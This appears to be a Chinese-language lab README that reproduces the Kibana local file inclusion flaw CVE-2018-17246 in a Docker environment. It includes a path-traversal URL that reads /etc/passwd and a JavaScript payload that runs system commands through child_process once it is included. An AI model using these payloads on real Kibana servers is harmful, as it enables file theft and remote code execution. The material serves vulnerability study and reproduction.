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kibana/CVE-2018-17246/README.zh-cn.md
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kibana/CVE-2018-17246/README.zh-cn.md
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# Kibana Local File Inclusion (CVE-2018-17246)
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Kibana 为 Elassticsearch 设计的一款开源的视图工具。其5.6.13到6.4.3之间的版本存在一处文件包含漏洞,通过这个漏洞攻击者可以包含任意服务器上的文件。此时,如果攻击者可以上传一个文件到服务器任意位置,即可执行代码。
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参考链接:
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- https://nvd.nist.gov/vuln/detail/CVE-2018-17246
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- https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/
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- https://www.anquanke.com/post/id/168291
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## 环境搭建
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启动 Kibana 5.6.12 和 Elasticsearch 5.6.16 环境:
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```
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docker compose up -d
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```
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环境启动后,访问`http://your-ip:5106`即可看到Kibana的默认首页。
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## 漏洞复现
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直接访问如下URL,来包含文件`/etc/passwd`:
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```
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http://your-ip:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd
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```
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虽然在返回的数据包里只能查看到一个500的错误信息,但是我们通过执行`docker compose logs`即可发现,`/etc/passwd`已经成功被包含:
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所以,我们需要从其他途径往服务器上上传代码,再进行包含从而执行任意命令。比如,我们将如下代码上传到服务器的`/tmp/vulhub.js`:
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```js
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// docker compose exec kibana bash && echo '...code...' > /tmp/vulhub.js
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export default {asJson: function() {return require("child_process").execSync("id").toString()}}
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```
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成功包含并返回命令执行结果:
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